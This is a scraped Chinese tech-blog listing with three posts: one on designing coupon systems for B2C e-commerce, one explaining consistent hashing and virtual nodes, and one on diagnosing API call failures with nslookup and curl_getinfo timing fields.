资源投入方:即谁来提供这批券的资源。券的类别:私有券 or 公共券。优惠券的名称:这里可以根据活动进行定制。优惠券的类型:满减 or 现金券。优惠券的面值,若是满减券的话需要达到条件的满减金额是多少?发行数量:即这个批次的券一共要发放多少张?优惠券的生效时间:这个比较好理解了,就是券是从什么时候生效到什么时候失效。用户限领次数:一个用户最多允许领取几次,一般情况下一个用户都是只允许领取一次。细致点还会再分每天用户可以领取几次。参与商品:这里就要确定下这个优惠券使用哪些商品。可以按照上面提到的几个维度进行筛选,例如按照品牌或者品类进行筛选商品范围。

这里还要考虑个稍微复杂点的场景是排除商品,可能某个品类里的商品绝大多数都可以使用这个优惠券,但是个别商品不能使用,可能是爆款或者是毛利比较低或者是国家政策等等原因,这个时候需要允许增加一个排除的范围。

投放券

投放渠道还是比较多的,上面也提到了几种主要领券的方式。

领券

领券对于用户来说比较简单,就是点击下鼠标领取优惠券,但实际这个简单的动作后台是有大量的逻辑需要运算。





  
用券

优惠券的用券场景主要在订单确认页,在订单确认页一般会根据用户选择的商品提示目前用户的优惠券账号里有哪些券可以使用。





 因为每张券都有一定的使用门槛,或者是限定某些商品范围的商品才能使用或者限定满足一定金额的商品才能使用,所以尽管你的账号里面有很多优惠券,但在每次确认页结算时会由于你购买商品的不同导致你可以使用的优惠券也不同。这里会给用户造成比较大的迷惑,我账号里面有10张优惠券,每次结算的时候都需要用户自己去计算这次可以使用哪一张比较划算,对小白用户来说挑战还是比较大的,所以主流的电商平台都是帮用户计算好,根据用户选择的商品结合用户账号里的优惠券列表进行计算,帮助用户选出本次订单可以使用的优惠券。

具体的计算可用优惠券流程具体如下:





 
在查出可用券后真正用券的流程相对比较简单,提交订单后将用户选择的优惠券进行扣减。这里涉及到一个扣减优惠券的时机,是在生成订单的时候就进行扣减?还是用户支付后进行扣减?这个作为一个讨论的问题,有兴趣的可以留言交流下。

统计分析

发券的目的是为了提升销售,那么发的这些券到底有没有提升销售?对毛利率影响如何?每张订单用的这个券是谁发的?给谁用了?这都是需要进行一些列的事后的分析,这样才能计算出来这批券发的是否有意义,这里涉及比较多的财务核算的流程,本人对此领域不太擅长,为了避免误导大家这个流程就不过介绍了,有内行朋友欢迎留言指教。 
原文地址:http://www.yixieshi.com/74900.html
系列延展阅读:http://www.jianshu.com/p/528437a2042b 查看全部
大家对优惠券应该都比较熟悉,有过网购经验的人应该都用过,优惠券也是商家促销一种常用的手段,今天来跟大家介绍下B2C平台优惠券一般都是如何设计的。

优惠券其实本质是一种代金券,用户可以通过各种渠道获得(下单返券、活动领券,系统赠券,线下广告单等),在下单的时候使用,可以抵扣全部或者部分订单金额。

分类方式

现实中我们在各大平台上遇到各种各样的优惠券,这里稍作总结,可以按照如下方式分为3大类。

1.使用方式

个人优惠券:与用户帐号绑定,不可转让,限本人使用,使用时从账户列表中选择,我们绝大多数使用的优惠券都是这种形式。
公共优惠券:不与用户帐号绑定,有代码即可使用,使用时需要输入代码。这种一般在线下推广中用的比较多,广告传单上印号优惠券码让用户输入券码到线上使用。

2.商品适用范围

按照商品范围分又可以分为如下几类,从各种维度对商品进行组合。

整网优惠券:购买所有正价商品均可使用。这种券不限制商品范围,所有商品都可以购买,除了个别商品,这种个别商品一般会在商详上注明不能使用任何优惠券。
类目优惠券:购买优惠券指定类别的商品即可使用,除个别特殊商品。
品牌优惠券:购买优惠券指定品牌的商品时可使用,除个别特殊商品。按照品牌或者品类设置优惠券范围是比较常见的方式。
商品优惠券:购买优惠券指定商品时可使用,这种优惠券一般只针对少量特殊商品可以使用。
客户端专享券:app专享、H5专享等。这种一般在做APP推广的时候比较常用。
平台专享券:自营券、联营券。对于类似京东这种电商平台既有自营商品又有联营POP商品也会存在按照平台区分使用的优惠券。

3.是否有使用门槛

现金券:不限制订单金额,可以直接使用。
满减券:订单金额需要满足一定的最低额度才可使用,例如:满100减10元优惠券。

发放渠道

对于这些优惠券又有很多种发放渠道,总结来说大概有以下几类。

1.用户主动领取

用户通过活动页主动领取,这是最常用的券的获取方式。一般是在活动页面或者是商详页上。下图为京东的领券中心,将所有的券聚合在一起方便用户挑选有需要的券。

微信图片_20171123170625.jpg

 
2.客服发券

为安抚、补偿客户,客服通过运营后台给指定用户发券。这个渠道知道的人应该不是很多,一般出现售后问题时并且是平台商自己的责任,客服为了安抚客户会给客户一定的补偿,这种补偿一般都是现金券。

3.系统发券

运营通过后台批量发券,通常是通过搞外部活动,收集到参与活动的uid或手机号进行定向发券。不知道大家有没有这种体验,一般在大促之前,我们之前注册过的各种电商平台都会给我们推送N多短信,提醒我们说“给您的账号里面发送了XX元优惠券,请在XX日期前登陆XX网站尽快使用”。

4.促销系统发券


321.png


单品赠券

这是一种促销方式,购买某个商品赠送指定优惠券。
 满返券

这也是一种比较常见的促销手段,提升复购率的一种比较有效的方式,通常是在购买特定范围的商品达到一定的金额后即自动返给用户特定的优惠券,这种券一般都是满减券。

优惠券生命周期

上面介绍了优惠券的几种常见类型和发放渠道,下面来介绍下优惠券的生命周期,基本上就是经过了创建、投放、领取、消耗/回收、统计分析。我们按照这个生命周期看下每个环节如何设计的。
 

419.png

 
创建券流程

制券的流程涉及到优惠券具体有哪些属性,正常制券至少应该包括如下几个信息: 
  1. 资源投入方:即谁来提供这批券的资源。
  2. 券的类别:私有券 or 公共券。
  3. 优惠券的名称:这里可以根据活动进行定制。
  4. 优惠券的类型:满减 or 现金券。
  5. 优惠券的面值,若是满减券的话需要达到条件的满减金额是多少?
  6. 发行数量:即这个批次的券一共要发放多少张?
  7. 优惠券的生效时间:这个比较好理解了,就是券是从什么时候生效到什么时候失效。
  8. 用户限领次数:一个用户最多允许领取几次,一般情况下一个用户都是只允许领取一次。细致点还会再分每天用户可以领取几次。
  9. 参与商品:这里就要确定下这个优惠券使用哪些商品。可以按照上面提到的几个维度进行筛选,例如按照品牌或者品类进行筛选商品范围。


这里还要考虑个稍微复杂点的场景是排除商品,可能某个品类里的商品绝大多数都可以使用这个优惠券,但是个别商品不能使用,可能是爆款或者是毛利比较低或者是国家政策等等原因,这个时候需要允许增加一个排除的范围。

投放券

投放渠道还是比较多的,上面也提到了几种主要领券的方式。

领券

领券对于用户来说比较简单,就是点击下鼠标领取优惠券,但实际这个简单的动作后台是有大量的逻辑需要运算。

518.png

  
用券

优惠券的用券场景主要在订单确认页,在订单确认页一般会根据用户选择的商品提示目前用户的优惠券账号里有哪些券可以使用。

微信图片_20171123171138.jpg

 因为每张券都有一定的使用门槛,或者是限定某些商品范围的商品才能使用或者限定满足一定金额的商品才能使用,所以尽管你的账号里面有很多优惠券,但在每次确认页结算时会由于你购买商品的不同导致你可以使用的优惠券也不同。这里会给用户造成比较大的迷惑,我账号里面有10张优惠券,每次结算的时候都需要用户自己去计算这次可以使用哪一张比较划算,对小白用户来说挑战还是比较大的,所以主流的电商平台都是帮用户计算好,根据用户选择的商品结合用户账号里的优惠券列表进行计算,帮助用户选出本次订单可以使用的优惠券。

具体的计算可用优惠券流程具体如下:

79.png

 
在查出可用券后真正用券的流程相对比较简单,提交订单后将用户选择的优惠券进行扣减。这里涉及到一个扣减优惠券的时机,是在生成订单的时候就进行扣减?还是用户支付后进行扣减?这个作为一个讨论的问题,有兴趣的可以留言交流下。

统计分析

发券的目的是为了提升销售,那么发的这些券到底有没有提升销售?对毛利率影响如何?每张订单用的这个券是谁发的?给谁用了?这都是需要进行一些列的事后的分析,这样才能计算出来这批券发的是否有意义,这里涉及比较多的财务核算的流程,本人对此领域不太擅长,为了避免误导大家这个流程就不过介绍了,有内行朋友欢迎留言指教。 
原文地址:http://www.yixieshi.com/74900.html
系列延展阅读:http://www.jianshu.com/p/528437a2042b

简单理解一致性哈希算法(consistent hashing)

zkbhj 发表了文章 • 0 个评论 • 1513 次浏览 • 2017-11-04 20:14 • 来自相关话题

一致性哈希算法在1997年由麻省理工学院提出的一种分布式哈希(DHT)实现算法,设计目标是为了解决因特网中的热点(Hot spot)问题,初衷和CARP十分类似。一致性哈希修正了CARP使用的简 单哈希算法带来的问题,使得分布式哈希(DHT)可以在P2P环境中真正得到应用。
 
 一致性hash算法提出了在动态变化的Cache环境中,判定哈希算法好坏的四个定义:
 
1、平衡性(Balance):平衡性是指哈希的结果能够尽可能分布到所有的缓冲中去,这样可以使得所有的缓冲空间都得到利用。很多哈希算法都能够满足这一条件。

2、单调性(Monotonicity):单调性是指如果已经有一些内容通过哈希分派到了相应的缓冲中,又有新的缓冲加入到系统中。哈希的结果应能够保证原有已分配的内容可以被映射到原有的或者新的缓冲中去,而不会被映射到旧的缓冲集合中的其他缓冲区。 

3、分散性(Spread):在分布式环境中,终端有可能看不到所有的缓冲,而是只能看到其中的一部分。当终端希望通过哈希过程将内容映射到缓冲上时,由于不同终端所见的缓冲范围有可能不同,从而导致哈希的结果不一致,最终的结果是相同的内容被不同的终端映射到不同的缓冲区中。这种情况显然是应该避免的,因为它导致相同内容被存储到不同缓冲中去,降低了系统存储的效率。分散性的定义就是上述情况发生的严重程度。好的哈希算法应能够尽量避免不一致的情况发生,也就是尽量降低分散性。 

4、负载(Load):负载问题实际上是从另一个角度看待分散性问题。既然不同的终端可能将相同的内容映射到不同的缓冲区中,那么对于一个特定的缓冲区而言,也可能被不同的用户映射为不同 的内容。与分散性一样,这种情况也是应当避免的,因此好的哈希算法应能够尽量降低缓冲的负荷。

    在分布式集群中,对机器的添加删除,或者机器故障后自动脱离集群这些操作是分布式集群管理最基本的功能。如果采用常用的hash(object)%N算法,那么在有机器添加或者删除后,很多原有的数据就无法找到了,这样严重的违反了单调性原则。接下来主要讲解一下一致性哈希算法是如何设计的:

环形Hash空间

按照常用的hash算法来将对应的key哈希到一个具有2^32次方个桶的空间中,即0~(2^32)-1的数字空间中。现在我们可以将这些数字头尾相连,想象成一个闭合的环形。如下图





 
把数据通过一定的hash算法处理后映射到环上
 
现在我们将object1、object2、object3、object4四个对象通过特定的Hash函数计算出对应的key值,然后散列到Hash环上。如下图:
    Hash(object1) = key1;
    Hash(object2) = key2;
    Hash(object3) = key3;
    Hash(object4) = key4;





 

将机器通过hash算法映射到环上

在采用一致性哈希算法的分布式集群中将新的机器加入,其原理是通过使用与对象存储一样的Hash算法将机器也映射到环中(一般情况下对机器的hash计算是采用机器的IP或者机器唯一的别名作为输入值),然后以顺时针的方向计算,将所有对象存储到离自己最近的机器中。
假设现在有NODE1,NODE2,NODE3三台机器,通过Hash算法得到对应的KEY值,映射到环中,其示意图如下:
Hash(NODE1) = KEY1;
Hash(NODE2) = KEY2;
Hash(NODE3) = KEY3;





 

通过上图可以看出对象与机器处于同一哈希空间中,这样按顺时针转动object1存储到了NODE1中,object3存储到了NODE2中,object2、object4存储到了NODE3中。在这样的部署环境中,hash环是不会变更的,因此,通过算出对象的hash值就能快速的定位到对应的机器中,这样就能找到对象真正的存储位置了。

机器的删除与添加

普通hash求余算法最为不妥的地方就是在有机器的添加或者删除之后会照成大量的对象存储位置失效,这样就大大的不满足单调性了。下面来分析一下一致性哈希算法是如何处理的。
 
1. 节点(机器)的删除
    以上面的分布为例,如果NODE2出现故障被删除了,那么按照顺时针迁移的方法,object3将会被迁移到NODE3中,这样仅仅是object3的映射位置发生了变化,其它的对象没有任何的改动。如下图:





 

2. 节点(机器)的添加 
    如果往集群中添加一个新的节点NODE4,通过对应的哈希算法得到KEY4,并映射到环中,如下图:






    通过按顺时针迁移的规则,那么object2被迁移到了NODE4中,其它对象还保持这原有的存储位置。通过对节点的添加和删除的分析,一致性哈希算法在保持了单调性的同时,还是数据的迁移达到了最小,这样的算法对分布式集群来说是非常合适的,避免了大量数据迁移,减小了服务器的的压力。
 
平衡性

根据上面的图解分析,一致性哈希算法满足了单调性和负载均衡的特性以及一般hash算法的分散性,但这还并不能当做其被广泛应用的原由,因为还缺少了平衡性。下面将分析一致性哈希算法是如何满足平衡性的。hash算法是不保证平衡的,如上面只部署了NODE1和NODE3的情况(NODE2被删除的图),object1存储到了NODE1中,而object2、object3、object4都存储到了NODE3中,这样就照成了非常不平衡的状态。在一致性哈希算法中,为了尽可能的满足平衡性,其引入了虚拟节点。

    ——“虚拟节点”( virtual node )是实际节点(机器)在 hash 空间的复制品( replica ),一实际个节点(机器)对应了若干个“虚拟节点”,这个对应个数也成为“复制个数”,“虚拟节点”在 hash 空间中以hash值排列。

以上面只部署了NODE1和NODE3的情况(NODE2被删除的图)为例,之前的对象在机器上的分布很不均衡,现在我们以2个副本(复制个数)为例,这样整个hash环中就存在了4个虚拟节点,最后对象映射的关系图如下:





 
根据上图可知对象的映射关系:object1->NODE1-1,object2->NODE1-2,object3->NODE3-2,object4->NODE3-1。通过虚拟节点的引入,对象的分布就比较均衡了。那么在实际操作中,正真的对象查询是如何工作的呢?对象从hash到虚拟节点到实际节点的转换如下图:





 
“虚拟节点”的hash计算可以采用对应节点的IP地址加数字后缀的方式。例如假设NODE1的IP地址为192.168.1.100。引入“虚拟节点”前,计算 cache A 的 hash 值:
Hash(“192.168.1.100”);
引入“虚拟节点”后,计算“虚拟节”点NODE1-1和NODE1-2的hash值:
Hash(“192.168.1.100#1”); // NODE1-1
Hash(“192.168.1.100#2”); // NODE1-2
 
原文链接:http://blog.csdn.net/cywosp/ar ... 97179 查看全部
一致性哈希算法在1997年由麻省理工学院提出的一种分布式哈希(DHT)实现算法,设计目标是为了解决因特网中的热点(Hot spot)问题,初衷和CARP十分类似。一致性哈希修正了CARP使用的简 单哈希算法带来的问题,使得分布式哈希(DHT)可以在P2P环境中真正得到应用。
 
 一致性hash算法提出了在动态变化的Cache环境中,判定哈希算法好坏的四个定义:
 
1、平衡性(Balance):平衡性是指哈希的结果能够尽可能分布到所有的缓冲中去,这样可以使得所有的缓冲空间都得到利用。很多哈希算法都能够满足这一条件。

2、单调性(Monotonicity):单调性是指如果已经有一些内容通过哈希分派到了相应的缓冲中,又有新的缓冲加入到系统中。哈希的结果应能够保证原有已分配的内容可以被映射到原有的或者新的缓冲中去,而不会被映射到旧的缓冲集合中的其他缓冲区。 

3、分散性(Spread):在分布式环境中,终端有可能看不到所有的缓冲,而是只能看到其中的一部分。当终端希望通过哈希过程将内容映射到缓冲上时,由于不同终端所见的缓冲范围有可能不同,从而导致哈希的结果不一致,最终的结果是相同的内容被不同的终端映射到不同的缓冲区中。这种情况显然是应该避免的,因为它导致相同内容被存储到不同缓冲中去,降低了系统存储的效率。分散性的定义就是上述情况发生的严重程度。好的哈希算法应能够尽量避免不一致的情况发生,也就是尽量降低分散性。 

4、负载(Load):负载问题实际上是从另一个角度看待分散性问题。既然不同的终端可能将相同的内容映射到不同的缓冲区中,那么对于一个特定的缓冲区而言,也可能被不同的用户映射为不同 的内容。与分散性一样,这种情况也是应当避免的,因此好的哈希算法应能够尽量降低缓冲的负荷。

    在分布式集群中,对机器的添加删除,或者机器故障后自动脱离集群这些操作是分布式集群管理最基本的功能。如果采用常用的hash(object)%N算法,那么在有机器添加或者删除后,很多原有的数据就无法找到了,这样严重的违反了单调性原则。接下来主要讲解一下一致性哈希算法是如何设计的:

环形Hash空间

按照常用的hash算法来将对应的key哈希到一个具有2^32次方个桶的空间中,即0~(2^32)-1的数字空间中。现在我们可以将这些数字头尾相连,想象成一个闭合的环形。如下图

20140411000507734.png

 
把数据通过一定的hash算法处理后映射到环上
 
现在我们将object1、object2、object3、object4四个对象通过特定的Hash函数计算出对应的key值,然后散列到Hash环上。如下图:
    Hash(object1) = key1;
    Hash(object2) = key2;
    Hash(object3) = key3;
    Hash(object4) = key4;

20140411000620656.png

 

将机器通过hash算法映射到环上

在采用一致性哈希算法的分布式集群中将新的机器加入,其原理是通过使用与对象存储一样的Hash算法将机器也映射到环中(一般情况下对机器的hash计算是采用机器的IP或者机器唯一的别名作为输入值),然后以顺时针的方向计算,将所有对象存储到离自己最近的机器中。
假设现在有NODE1,NODE2,NODE3三台机器,通过Hash算法得到对应的KEY值,映射到环中,其示意图如下:
Hash(NODE1) = KEY1;
Hash(NODE2) = KEY2;
Hash(NODE3) = KEY3;

20140411000853609.png

 

通过上图可以看出对象与机器处于同一哈希空间中,这样按顺时针转动object1存储到了NODE1中,object3存储到了NODE2中,object2、object4存储到了NODE3中。在这样的部署环境中,hash环是不会变更的,因此,通过算出对象的hash值就能快速的定位到对应的机器中,这样就能找到对象真正的存储位置了。

机器的删除与添加

普通hash求余算法最为不妥的地方就是在有机器的添加或者删除之后会照成大量的对象存储位置失效,这样就大大的不满足单调性了。下面来分析一下一致性哈希算法是如何处理的。
 
1. 节点(机器)的删除
    以上面的分布为例,如果NODE2出现故障被删除了,那么按照顺时针迁移的方法,object3将会被迁移到NODE3中,这样仅仅是object3的映射位置发生了变化,其它的对象没有任何的改动。如下图:

20140411001033656.png

 

2. 节点(机器)的添加 
    如果往集群中添加一个新的节点NODE4,通过对应的哈希算法得到KEY4,并映射到环中,如下图:

20140411001211062.png


    通过按顺时针迁移的规则,那么object2被迁移到了NODE4中,其它对象还保持这原有的存储位置。通过对节点的添加和删除的分析,一致性哈希算法在保持了单调性的同时,还是数据的迁移达到了最小,这样的算法对分布式集群来说是非常合适的,避免了大量数据迁移,减小了服务器的的压力。
 
平衡性

根据上面的图解分析,一致性哈希算法满足了单调性和负载均衡的特性以及一般hash算法的分散性,但这还并不能当做其被广泛应用的原由,因为还缺少了平衡性。下面将分析一致性哈希算法是如何满足平衡性的。hash算法是不保证平衡的,如上面只部署了NODE1和NODE3的情况(NODE2被删除的图),object1存储到了NODE1中,而object2、object3、object4都存储到了NODE3中,这样就照成了非常不平衡的状态。在一致性哈希算法中,为了尽可能的满足平衡性,其引入了虚拟节点。


    ——“虚拟节点”( virtual node )是实际节点(机器)在 hash 空间的复制品( replica ),一实际个节点(机器)对应了若干个“虚拟节点”,这个对应个数也成为“复制个数”,“虚拟节点”在 hash 空间中以hash值排列。


以上面只部署了NODE1和NODE3的情况(NODE2被删除的图)为例,之前的对象在机器上的分布很不均衡,现在我们以2个副本(复制个数)为例,这样整个hash环中就存在了4个虚拟节点,最后对象映射的关系图如下:

20140411001433375.png

 
根据上图可知对象的映射关系:object1->NODE1-1,object2->NODE1-2,object3->NODE3-2,object4->NODE3-1。通过虚拟节点的引入,对象的分布就比较均衡了。那么在实际操作中,正真的对象查询是如何工作的呢?对象从hash到虚拟节点到实际节点的转换如下图:

20140411001540656.png

 
“虚拟节点”的hash计算可以采用对应节点的IP地址加数字后缀的方式。例如假设NODE1的IP地址为192.168.1.100。引入“虚拟节点”前,计算 cache A 的 hash 值:
Hash(“192.168.1.100”);
引入“虚拟节点”后,计算“虚拟节”点NODE1-1和NODE1-2的hash值:
Hash(“192.168.1.100#1”); // NODE1-1
Hash(“192.168.1.100#2”); // NODE1-2
 
原文链接:http://blog.csdn.net/cywosp/ar ... 97179

工作分享总结:如何分析接口调用产生的一些问题

zkbhj 发表了文章 • 0 个评论 • 1702 次浏览 • 2017-11-03 11:36 • 来自相关话题

今日公司周会上,旭哥给大家分享了一些接口调用产生的一些问题的分析套路和方法。下面做以记录,方便未来回顾和学习。
 
一、现状:
接口调用是目前部分使用最为频繁的环节,大部分问题产生因接口调用失败引起。接口调用日志记录不够规范、详细,导致出现问题时,难以迅速定位问题产生的具体原因,甚至要阅读源代码,耗费了较多的人力成本。接口调用失败时,对返回的错误状态(环境、网络、应用)、详细信息记录不全,导致现场信息没有记录,并且难以手工复现。

历史问题遗留,影响业务正常运行,以至影响到测试、产品、最终用户的满意度。花费了较多人力排查这些基础问题,影响开发效率,而且对同类问题的解决,没有形成有效的方法论和实践论。没有从根本上找清楚问题产生的根源,导致此类问题一直遗留。重复而单调的工作,不利程序员的成就感的形成。
  
二、基础知识储备1、一个域名可以解析到多个ip上,客户端连接时会使用到其中一个IP。使用nslookup命令查看域名对应的ip。
nslookup www.zkait.com
Server: 10.143.22.118
Address: 10.143.22.118#53

Non-authoritative answer:
www.zkait.com canonical name = sk121.webcname.net.
Name: sk121.webcname.net
Address: 111.67.201.183
nslookup www.qq.com
Server: 10.16.24.201
Address: 10.16.24.201#53

Non-authoritative answer:
Name: www.qq.com
Address: 61.135.157.156
Name: www.qq.com
Address: 125.39.240.113

2、一次TCP请求的大致流程:
DNS解析TCP建连发送数据服务器响应接收数据
 
 每个阶段,都可能超时,所以引起请求失败的原因是多样的,具有一定的复杂性:
1. 如果使用域名请求,目标机器是不确定的。
2. 请求的每个阶段,都有可能超时或出错。
3. 对同一个服务器,从不同的来源访问,数据传输的网络线路可能并不一样,导致比较难以复现。





 
如图示,由于网络线路的复杂性,从不同的源访问同一个目标,经过的线路就有差别,从而响应状态和结果,可能就有差异。

D能访问C,  但A不能访问C,  A和D却能相互访问,这种现象现实中有可能存在。

所以,两个重要点:

1. 具体的交互节点是什么? 一般来说,往往就是源和目标的IP而不是目标的域名
2. 网络请求每个阶段行为是什么? 即每个阶段的结果状态和耗时:

DNS解析?  解析结果是什么? 成功还是失败?耗时多久?TCP建连?   连接状态成功还是失败?耗时多久?发送请求?  共发送了多少字节? 耗时多久?服务器响应? 服务器响应结果是成功还是失败? 耗时多久?接收数据    共接收了多少字节? 结果有效还是无效? 耗时多久?

3. 上述信息是否记录足够清楚详细?
如果从这三个因素入手, 就可以查明具体的原因,从根本上解决问题提供重要依据。

无论网络任何协议,都可以使用此方式来查明原因。
 

3、curl_getinfo的重要性
   curl内置了请求状态信息,它是直接解决此问题的金钥匙。
  [url] => http://www.baidu.com/ 本次请求的地址
[content_type] => text/html; charset=utf-8
[http_code] => 200
[header_size] => 1001
[request_size] => 248
[filetime] => -1
[ssl_verify_result] => 0
[redirect_count] => 0
[total_time] => 0.625064 总用时
[namelookup_time] => 0.001113 DNS查询耗时
[connect_time] => 0.002997 TCP建连耗时
[pretransfer_time] => 0.002999 传输之前的所有耗时(包括DNS查询)
[size_upload] => 0
[size_download] => 111640 返回的数据长度(包括header)
[speed_download] => 178605 传输速度(字节/秒)
[speed_upload] => 0
[download_content_length] => -1
[upload_content_length] => 0
[starttransfer_time] => 0.007983
[redirect_time] => 0
[redirect_url] =>
[primary_ip] => 220.181.112.244 目标IP
[local_ip] => 127.0.0.1 源IP
[certinfo] => Array()
[errno] => 0 错误号
[error] => 错误信息
 
  查看全部
今日公司周会上,旭哥给大家分享了一些接口调用产生的一些问题的分析套路和方法。下面做以记录,方便未来回顾和学习。
 
一、现状:
接口调用是目前部分使用最为频繁的环节,大部分问题产生因接口调用失败引起。接口调用日志记录不够规范、详细,导致出现问题时,难以迅速定位问题产生的具体原因,甚至要阅读源代码,耗费了较多的人力成本。接口调用失败时,对返回的错误状态(环境、网络、应用)、详细信息记录不全,导致现场信息没有记录,并且难以手工复现。

历史问题遗留,影响业务正常运行,以至影响到测试、产品、最终用户的满意度。花费了较多人力排查这些基础问题,影响开发效率,而且对同类问题的解决,没有形成有效的方法论和实践论。没有从根本上找清楚问题产生的根源,导致此类问题一直遗留。重复而单调的工作,不利程序员的成就感的形成。
  
二、基础知识储备1、一个域名可以解析到多个ip上,客户端连接时会使用到其中一个IP。使用nslookup命令查看域名对应的ip。
nslookup www.zkait.com
Server: 10.143.22.118
Address: 10.143.22.118#53

Non-authoritative answer:
www.zkait.com canonical name = sk121.webcname.net.
Name: sk121.webcname.net
Address: 111.67.201.183
nslookup www.qq.com
Server: 10.16.24.201
Address: 10.16.24.201#53

Non-authoritative answer:
Name: www.qq.com
Address: 61.135.157.156
Name: www.qq.com
Address: 125.39.240.113

2、一次TCP请求的大致流程:
  • DNS解析
  • TCP建连
  • 发送数据
  • 服务器响应
  • 接收数据

 
 每个阶段,都可能超时,所以引起请求失败的原因是多样的,具有一定的复杂性:
1. 如果使用域名请求,目标机器是不确定的。
2. 请求的每个阶段,都有可能超时或出错。
3. 对同一个服务器,从不同的来源访问,数据传输的网络线路可能并不一样,导致比较难以复现。

QQ截图20171103113347.jpg

 
如图示,由于网络线路的复杂性,从不同的源访问同一个目标,经过的线路就有差别,从而响应状态和结果,可能就有差异。

D能访问C,  但A不能访问C,  A和D却能相互访问,这种现象现实中有可能存在。

所以,两个重要点:


1. 具体的交互节点是什么? 一般来说,往往就是源和目标的IP而不是目标的域名
2. 网络请求每个阶段行为是什么? 即每个阶段的结果状态和耗时:


  1. DNS解析?  解析结果是什么? 成功还是失败?耗时多久?
  2. TCP建连?   连接状态成功还是失败?耗时多久?
  3. 发送请求?  共发送了多少字节? 耗时多久?
  4. 服务器响应? 服务器响应结果是成功还是失败? 耗时多久?
  5. 接收数据    共接收了多少字节? 结果有效还是无效? 耗时多久?


3. 上述信息是否记录足够清楚详细?
如果从这三个因素入手, 就可以查明具体的原因,从根本上解决问题提供重要依据。

无论网络任何协议,都可以使用此方式来查明原因。
 

3、curl_getinfo的重要性
   curl内置了请求状态信息,它是直接解决此问题的金钥匙。
 
    [url] => http://www.baidu.com/              本次请求的地址
[content_type] => text/html; charset=utf-8
[http_code] => 200
[header_size] => 1001
[request_size] => 248
[filetime] => -1
[ssl_verify_result] => 0
[redirect_count] => 0
[total_time] => 0.625064 总用时
[namelookup_time] => 0.001113 DNS查询耗时
[connect_time] => 0.002997 TCP建连耗时
[pretransfer_time] => 0.002999 传输之前的所有耗时(包括DNS查询)
[size_upload] => 0
[size_download] => 111640 返回的数据长度(包括header)
[speed_download] => 178605 传输速度(字节/秒)
[speed_upload] => 0
[download_content_length] => -1
[upload_content_length] => 0
[starttransfer_time] => 0.007983
[redirect_time] => 0
[redirect_url] =>
[primary_ip] => 220.181.112.244 目标IP
[local_ip] => 127.0.0.1 源IP
[certinfo] => Array()
[errno] => 0 错误号
[error] => 错误信息